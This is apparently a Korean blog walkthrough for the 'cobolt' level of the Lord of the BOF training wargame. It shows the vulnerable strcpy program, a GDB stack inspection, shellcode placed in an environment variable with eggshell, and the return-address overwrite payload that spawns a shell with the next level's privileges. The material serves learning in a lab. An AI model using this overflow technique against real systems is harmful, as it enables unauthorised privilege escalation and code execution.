- user : gremline
- 문제 : cobolt
cobolt.c의 소스파일은 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | /* The Lord of the BOF : The Fellowship of the BOF - cobolt - small buffer */ int main(int argc, char *argv[]) { char buffer[16]; if(argc < 2){ printf("argv error\n"); exit(0); } strcpy(buffer, argv[1]); // vulnerability!!! printf("%s\n", buffer); } | cs |
이전 문제와 거의 흡사합니다. 차이점은 buffer의 크기가 16 Byte로 매우 작아졌습니다. 따라서 buffer에는 shellcode를 넣을 수 없으므로 환경변수를 이용하여 문제를 풀겠습니다.
Step 1. 먼저 GDB를 이용하여 buffer의 크기를 파악해야 합니다. 아래와 같이 buffer의 크기는 16 Byte이고 이어서 SFP와 RET가 있는 것을 확인할 수 있습니다.
1 2 3 4 5 6 7 8 9 10 11 12 | (gdb) b *0x8048465 Breakpoint 1 at 0x8048465 (gdb) r `python -c 'print "A"*16'` Starting program: /home/gremlin/tmp/cobolt `python -c 'print "A"*16'` Breakpoint 1, 0x8048465 in main () (gdb) x/10x $esp 0xbffff0e0: 0xbffff0e8 0xbffff257 0x41414141 0x41414141 0xbffff0f0: 0x41414141 0x41414141 0xbffff100 0x400309cb 0xbffff100: 0x00000002 0xbffff144 (gdb) x/x $ebp+4 0xbffff0fc: 0x400309cb | cs |
Step 2. Eggshell을 이용하여 환경 변수의 shellcode를 등록하고 pegg를 이용하여 "EGG" 환경 변수의 주소 값을 출력시킵니다.
1 2 3 4 | [gremlin@localhost tmp]$ /tmp/eggshell Using address: 0xbffff0b8 [gremlin@localhost tmp]$ /tmp/pegg Addr = 0xbffff4cd | cs |
※ 주의! 공개되어 있는 Eggshell을 사용할 경우, eggshell.c의 소스코드 마지막에 system("/bin/bash")를 띄우도록 되어 있는 것이 있습니다. gate 문제에 처음에서 언급했듯이 LOB 환경에서는 bash2를 띄워야 제대로 문제를 풀 수 있기 때문에 이와 같은 eggshell은 마지막에 있는 코드를 system("/bin/bash2")로 바꾸셔야 합니다.
Step 3. 이제 buffer 부터 SFP까지를 A 문자로 덮어버리고 RET 값을 해당 환경 변수 주소로 수정하면 main()이 Return 되면서 shellcode를 실행시킬 것 입니다. 다음과 같은 payload를 만들 수 있습니다.
1 2 3 4 5 6 7 | [gremlin@localhost gremlin]$ ./cobolt `python -c 'print "A"*20+"\xcd\xf4\xff\xbf"'` AAAAAAAAAAAAAAAAAAAA攻? bash$ id uid=502(cobolt) gid=501(gremlin) egid=502(cobolt) groups=501(gremlin) bash$ my-pass euid = 502 hacking exposed | cs |
'WarGame > LOB' 카테고리의 다른 글
[LOB] wolfman :: argv[2]를 이용한 BOF (0) | 2016.04.05 |
---|---|
[LOB] orc :: argv를 이용한 BOF (0) | 2016.04.04 |
[LOB] goblin :: argv를 이용한 BOF (0) | 2016.04.04 |
[LOB] cobolt :: 환경변수를 이용한 BOF (0) | 2016.04.04 |
[LOB] gate :: Basic Buffer Overflow (0) | 2016.04.04 |